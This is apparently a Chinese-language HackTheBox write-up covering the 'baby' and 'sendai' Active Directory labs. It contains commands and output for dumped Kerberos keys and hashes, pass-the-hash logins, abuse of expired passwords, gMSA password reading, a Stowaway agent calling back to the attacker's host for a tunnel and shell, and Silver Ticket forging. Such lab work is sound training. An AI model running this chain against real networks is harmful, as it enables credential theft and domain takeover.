baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032
baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206b
baby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039
baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528
baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320e
baby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258
baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dc
baby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3e
baby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fdddd
baby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5a
baby.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7
baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784
baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23df
baby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914c
baby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475e
baby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616b
baby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3
baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41
baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723
baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245
baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fb
baby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01
baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07fe
baby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84
baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66
baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9
baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:6fe5d46e01d6cf9909f479fb4d7afac0bd973981dd958e730a734aa82c9e13af
baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:f34e6c0c8686a46eea8fd15a361601f9
baby.vl\Caroline.Robinson:des-cbc-md5:fd40190d579138df
[*] Cleaning up...

成功登陆

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i 10.129.64.108 -u 'administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== =============================================
baby\administrator S-1-5-21-1407081343-4001094062-1444647654-500


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ===============================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                      Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
BABY\Group Policy Creator Owners            Group            S-1-5-21-1407081343-4001094062-1444647654-520 Mandatory group, Enabled by default, Enabled group
BABY\Domain Admins                          Group            S-1-5-21-1407081343-4001094062-1444647654-512 Mandatory group, Enabled by default, Enabled group
BABY\Schema Admins                          Group            S-1-5-21-1407081343-4001094062-1444647654-518 Mandatory group, Enabled by default, Enabled group
BABY\Enterprise Admins                      Group            S-1-5-21-1407081343-4001094062-1444647654-519 Mandatory group, Enabled by default, Enabled group
BABY\Denied RODC Password Replication Group Alias            S-1-5-21-1407081343-4001094062-1444647654-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level        Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

sendai-wp

Thu, 18 Sep 2025 21:40:42 +0800

初始侦察

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat rustscan.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.66:53
Open 10.129.234.66:80
Open 10.129.234.66:88
Open 10.129.234.66:135
Open 10.129.234.66:139
Open 10.129.234.66:389
Open 10.129.234.66:443
Open 10.129.234.66:445
Open 10.129.234.66:464
Open 10.129.234.66:593
Open 10.129.234.66:636
Open 10.129.234.66:3269
Open 10.129.234.66:3268
Open 10.129.234.66:3389
Open 10.129.234.66:5985
Open 10.129.234.66:9389

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat hostname 
10.129.234.66     DC.sendai.vl sendai.vl DC

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat start.sh 
ip=10.129.234.66

80和443虽然开启，但都是iis初始页面，先不着急

存在匿名smb，看信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\guest: 
SMB         10.129.234.66   445    DC               [*] Enumerated shares
SMB         10.129.234.66   445    DC               Share           Permissions     Remark
SMB         10.129.234.66   445    DC               -----           -----------     ------
SMB         10.129.234.66   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.66   445    DC               C$                              Default share
SMB         10.129.234.66   445    DC               config                          
SMB         10.129.234.66   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.66   445    DC               NETLOGON                        Logon server share
SMB         10.129.234.66   445    DC               sendai          READ            company share
SMB         10.129.234.66   445    DC               SYSVOL                          Logon server share
SMB         10.129.234.66   445    DC               Users           READ            

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]

users目录没什么东西，但是sendai中我获得了一些用户名

smb: \> cd transfer\
smb: \transfer\> dir
  .                                   D        0  Tue Jul 11 09:00:20 2023
  ..                                  D        0  Tue Jul 18 13:31:04 2023
  anthony.smith                       D        0  Tue Jul 11 08:59:50 2023
  clifford.davey                      D        0  Tue Jul 11 09:00:06 2023
  elliot.yates                        D        0  Tue Jul 11 08:59:26 2023
  lisa.williams                       D        0  Tue Jul 11 08:59:34 2023
  susan.harper                        D        0  Tue Jul 11 08:59:39 2023
  temp                                D        0  Tue Jul 11 09:00:16 2023
  thomas.powell                       D        0  Tue Jul 11 08:59:45 2023

		7019007 blocks of size 4096. 855070 blocks available
smb: \transfer\> cd ../
smb: \> dir
  .                                   D        0  Tue Jul 18 13:31:04 2023
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  hr                                  D        0  Tue Jul 11 08:58:19 2023
  incident.txt                        A     1372  Tue Jul 18 13:34:15 2023
  it                                  D        0  Tue Jul 18 09:16:46 2023
  legal                               D        0  Tue Jul 11 08:58:23 2023
  security                            D        0  Tue Jul 18 09:17:35 2023
  transfer                            D        0  Tue Jul 11 09:00:20 2023

		7019007 blocks of size 4096. 853509 blocks available
smb: \> get incident.txt 
getting file \incident.txt of size 1372 as incident.txt (3.4 KiloBytes/sec) (average 7.0 KiloBytes/sec)
smb: \> dir
  .                                   D        0  Tue Jul 18 13:31:04 2023
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  hr                                  D        0  Tue Jul 11 08:58:19 2023
  incident.txt                        A     1372  Tue Jul 18 13:34:15 2023
  it                                  D        0  Tue Jul 18 09:16:46 2023
  legal                               D        0  Tue Jul 11 08:58:23 2023
  security                            D        0  Tue Jul 18 09:17:35 2023
  transfer                            D        0  Tue Jul 11 09:00:20 2023

		7019007 blocks of size 4096. 852101 blocks available
smb: \>

重置密码

还有一些文本文件，重点则是如下

事件通知（incident.txt）

亲爱的员工们：

希望您一切安好。我们在此通知一项关于用户账户密码的重要安全更新。

近期，我们进行了全面的渗透测试，发现大量用户账户使用了弱且不安全的密码。
为了解决这一问题并维护公司内部最高等级的安全性，IT 部门已采取紧急措施：所有使用不安全密码的用户账户已被强制过期。
这意味着，受影响的用户在下次登录时必须重置密码。

我们诚挚地请求所有受影响的用户尽快完成密码重置流程，以确保系统的安全性和完整性。请记住，强密码在保护敏感信息和抵御潜在威胁方面起着至关重要的作用。

如果您在重置密码过程中需要帮助，或有任何相关问题，请随时联系 IT 支持团队。他们将非常乐意为您提供指导和必要的支持。

感谢您为维护我们共同的安全环境所做的配合与努力。您对安全规范的警惕与遵守为我们的整体安全作出了重要贡献。

我之前经历过获得的用户是初始密码过期的目标用户，但是当时我已经获得了此用户的原始密码，所以我有权限直接通过远程修改密码，但是这次不太一样，我只能初步判断，目标用户的账户和密码应该是一样的，为了验证这一块，我需要rid爆破获取近乎所有用户，之后直接空密码爆破可以

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc ldap $ip -u users -p "" --continue-on-success
LDAP        10.129.234.66   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never)
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Administrator: 
LDAP        10.129.234.66   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP        10.129.234.66   389    DC               [+] sendai.vl\Guest: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\krbtgt: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\DC$: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\sqlsvc: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\websvc: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Dorothy.Jones: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Kerry.Robinson: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Naomi.Gardner: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Anthony.Smith: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Susan.Harper: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Stephen.Simpson: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Marie.Gallagher: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Kathleen.Kelly: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Norman.Baxter: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Jason.Brady: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Malcolm.Smith: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Lisa.Williams: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Ross.Sullivan: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Clifford.Davey: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Declan.Jenkins: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Lawrence.Grant: 
LDAP        10.129.234.66   389    DC               [-] sendai.vl\Leslie.Johnson:

可以看到Elliot.Yates是一个过期用户，我尝试使用nxc直接修改密码，但是失败了，所以我开始枚举这篇文章他引导我到了impacket的一个pull工单，让我意识到changepass.py使用ms-rpc更改是个能绕过的办法

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ impacket-changepasswd sendai.vl/Elliot.Yates:""@$ip -newpass wackMaker1!
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Current password: 
[*] Changing the password of sendai.vl\Elliot.Yates
[*] Connecting to DCE/RPC as sendai.vl\Elliot.Yates
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

当我查看参数直接键入密码的时候，成功更改完毕，我们的连接也正常

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc smb $ip -u Elliot.Yates -p wackMaker1!
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\Elliot.Yates:wackMaker1!

可惜没有winrm权限，但是我们有足够的凭据抓取猎犬了

因为我懒得贴图片，所以直接口语描述路径了

ELLIOT.YATES@SENDAI.VL属于support组，而这个组对admsvc组有通用all权限，admsvc组对MGTSVC$@SENDAI.VL这个用户有读gmsa的权限

很简单的流程，将自己加入组，直接读gmsa

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember ADMSVC "$user"
[+] Elliot.Yates added to ADMSVC

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" get object MGTSVC$ --attr msDS-ManagedPassword

distinguishedName: CN=mgtsvc,CN=Managed Service Accounts,DC=sendai,DC=vl
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:9ed35c68b88f35007aa32c14c1332ce7
msDS-ManagedPassword.B64ENCODED: MnRup9Cfg1yniZGnzaZM2tR8RVDOaG5abV/Z3wdvLW1+fLxXtQfra+OH3WUW0BmC9J1CUi2MKYeyfuiAcS16Q9d2BflORFv8jtQc2yE3Jo5OfPDcbOeYVLn9CWNZ+inVMQrf85QHomxbSAw5U440KhKnsGlZdTZ3CJ6hUoG2eFfPT57bn5C8/xXRx8tcwgHHUuQjChrve9rIzEPDFVD41vguikVetUgArPMvHjoLjg5Z1jrYqhMYUoS22Y3OcJhABJD4HCGNoqxegpm+1a6O5fDBbN6Zhfz62b9itG9QcwLyjrglBsdZZmEAqcFs9/Jfk3ZzeWzUWUWpwwyFUQsxug==

很简单对吧，接下来看看这个用户，猎犬的信息到此中断，但是我们拥有了winrm权限

提权

*Evil-WinRM* PS C:\Users> dir


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/18/2023   6:09 AM                Administrator
d-----         9/18/2025   5:21 AM                mgtsvc$
d-r---         7/11/2023  12:36 AM                Public
d-----         8/18/2025   5:05 AM                sqlsvc

在本地发现了数据库用户的桌面信息，可能是下一步，但是外部没开数据库，先留意一下

看看dpapi发现没有什么信息,页面更目录下面找到user.txt

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/11/2023   5:56 AM                config
d-----         4/15/2025   8:20 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         4/15/2025   7:51 PM                Program Files
d-----         7/18/2023   6:11 AM                Program Files (x86)
d-----         7/18/2023  10:31 AM                sendai
d-----         7/11/2023   2:35 AM                SQL2019
d-r---         9/18/2025   5:21 AM                Users
d-----         8/18/2025   5:04 AM                Windows
-a----         4/15/2025   8:27 PM             32 user.txt


*Evil-WinRM* PS C:\> cat user.txt
fff335936142d21a6fa44123b897cd3e

看看smb有无额外信息

└─$ nxc smb $ip -u $user1 -H $hash1 --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\MGTSVC$:9ed35c68b88f35007aa32c14c1332ce7 
SMB         10.129.234.66   445    DC               [*] Enumerated shares
SMB         10.129.234.66   445    DC               Share           Permissions     Remark
SMB         10.129.234.66   445    DC               -----           -----------     ------
SMB         10.129.234.66   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.66   445    DC               C$                              Default share
SMB         10.129.234.66   445    DC               config          READ,WRITE      
SMB         10.129.234.66   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.66   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.234.66   445    DC               sendai          READ,WRITE      company share
SMB         10.129.234.66   445    DC               SYSVOL          READ            Logon server share 
SMB         10.129.234.66   445    DC               Users           READ

多出来了一个config日志可写可读，打开看一看发现是数据库密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ smbclient -U $user1 --pw-nt-hash //$ip/config $hash1
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Sep 18 08:43:26 2025
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  .sqlconfig                          A       78  Tue Jul 11 08:57:11 2023

		7019007 blocks of size 4096. 1187661 blocks available
smb: \> get .sql*
NT_STATUS_OBJECT_NAME_INVALID opening remote file \.sql*
smb: \> get .sqlconfig
getting file \.sqlconfig of size 78 as .sqlconfig (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat .sqlconfig 
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

没有对外开，所以传stowawy上去做个sock隧道

*Evil-WinRM* PS C:\Users\mgtsvc$\Documents> ./windows_x64_agent.exe -c 10.10.16.23:443 -s 123456
windows_x64_agent.exe : 2025/09/18 05:53:41 [*] Starting agent node actively.Connecting to 10.10.16.23:443
    + CategoryInfo          : NotSpecified: (2025/09/18 05:5...10.10.16.23:443:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
┌──(wackymaker㉿kali)-[~/tools/ad-tools/proxy/stowaway]
└─$ ./linux_x64_admin -l 0.0.0.0:443 -s 123456

[*] Starting admin node on port 0.0.0.0:443

    .-')    .-') _                  ('\ .-') /'  ('-.      ('\ .-') /'  ('-.                 
   ( OO ). (  OO) )                  '.( OO ),' ( OO ).-.   '.( OO ),' ( OO ).-.             
   (_)---\_)/     '._  .-'),-----. ,--./  .--.   / . --. /,--./  .--.   / . --. /  ,--.   ,--.
   /    _ | |'--...__)( OO'  .-.  '|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  / 
   \  :' '. '--.  .--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')     /  
    '..'''.)   |  |   \_) |  |\|  ||  |.'.|  |_)\| |_.'  ||  |.'.|  |_)\| |_.'  |(OO  \   /   
   .-._)   \   |  |     \ |  | |  ||         |   |  .-.  ||         |   |  .-.  | |   /  /\_  
   \       /   |  |      ''  '-'  '|   ,'.   |   |  | |  ||   ,'.   |   |  | |  | '-./  /.__) 
    '-----'    '--'        '-----' '--'   '--'   '--' '--''--'   '--'   '--' '--'   '--'      
			            { v2.2  Author:ph4ntom }
[*] Waiting for new connection...
[*] Connection from node 10.129.234.66:57556 is set up successfully! Node id is 0
(admin) >> use 0
(node 0) >> socks 5555
[*] Trying to listen on 0.0.0.0:5555......
[*] Waiting for agent's response......
[*] Error: listen tcp: address tcp/5555: unknown port
(node 0) >> shell
[*] Waiting for response.....
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Users\mgtsvc$\Documents>whoami
whoami
sendai\mgtsvc$

C:\Users\mgtsvc$\Documents>exit
exit

(node 0) >> help
	help                                            Show help information
	status                                          Show node status,including socks/forward/backward
	listen                                          Start port listening on current node
	addmemo    <string>                             Add memo for current node
	delmemo                                         Delete memo of current node
	ssh        <ip:port>                            Start SSH through current node
	shell                                           Start an interactive shell on current node
	socks      <lport> [username] [pass]            Start a socks5 server
	stopsocks                                       Shut down socks services
	connect    <ip:port>                            Connect to a new node
	sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology
	upload     <local filename> <remote filename>   Upload file to current node
	download   <remote filename> <local filename>   Download file from current node
	forward    <lport> <ip:port>                    Forward local port to specific remote ip:port
	stopforward                                     Shut down forward services
	backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)
	stopbackward                                    Shut down backward services
	shutdown                                        Terminate current node
	back                                            Back to parent panel
	exit                                            Exit Stowaway
  
(node 0) >> socks 5555
[*] Unknown Command!

	help                                            Show help information
	status                                          Show node status,including socks/forward/backward
	listen                                          Start port listening on current node
	addmemo    <string>                             Add memo for current node
	delmemo                                         Delete memo of current node
	ssh        <ip:port>                            Start SSH through current node
	shell                                           Start an interactive shell on current node
	socks      <lport> [username] [pass]            Start a socks5 server
	stopsocks                                       Shut down socks services
	connect    <ip:port>                            Connect to a new node
	sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology
	upload     <local filename> <remote filename>   Upload file to current node
	download   <remote filename> <local filename>   Download file from current node
	forward    <lport> <ip:port>                    Forward local port to specific remote ip:port
	stopforward                                     Shut down forward services
	backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)
	stopbackward                                    Shut down backward services
	shutdown                                        Terminate current node
	back                                            Back to parent panel
	exit                                            Exit Stowaway
  
(node 0) >> socks 5555
[*] Trying to listen on 0.0.0.0:5555......
[*] Waiting for agent's response......
[*] Socks start successfully!
(node 0) >>

直接连接

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ proxychains4 impacket-mssqlclient -windows-auth $user2:$pass2@127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SENDAI\sqlsvc  guest@master)> select @@servername
                
-------------   
DC\SQLEXPRESS   

SQL (SENDAI\sqlsvc  guest@master)> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name   permission_name     
-----------   -----------------   
server        CONNECT SQL         

server        VIEW ANY DATABASE   

SQL (SENDAI\sqlsvc  guest@master)>

当前权限不足，还是走捷径吧，懒得查数据库了，我们有密码直接打白银票据

获取域sid和服务账户hash
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc ldap $ip -u $user2 -p $pass2 --get-sid
LDAP        10.129.234.66   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never) 
LDAP        10.129.234.66   389    DC               [+] sendai.vl\sqlsvc:SurenessBlob85 
LDAP        10.129.234.66   389    DC               Domain SID S-1-5-21-3085872742-570972823-736764132

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ echo sid=S-1-5-21-3085872742-570972823-736764132>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ iconv -f ASCII -t UTF-16LE <(printf "$pass2") | openssl dgst -md4
MD4(stdin)= 58655c0b90b2492f84fb46fa78c2d96a

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ echo hash2=58655c0b90b2492f84fb46fa78c2d96a>>start.sh 
制作票据
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ impacket-ticketer -spn MSSQLSvc/$FQDN -user-id 500 Administrator -nthash $hash2 -domain-sid $sid -domain $domain
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  aTime = timegm(datetime.datetime.utcnow().timetuple())
[*] Customizing ticket for sendai.vl/Administrator
/usr/share/doc/python3-impacket/examples/ticketer.py:600: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
/usr/share/doc/python3-impacket/examples/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
/usr/share/doc/python3-impacket/examples/ticketer.py:719: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
/usr/share/doc/python3-impacket/examples/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

搞定，利用admin权限访问数据库

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
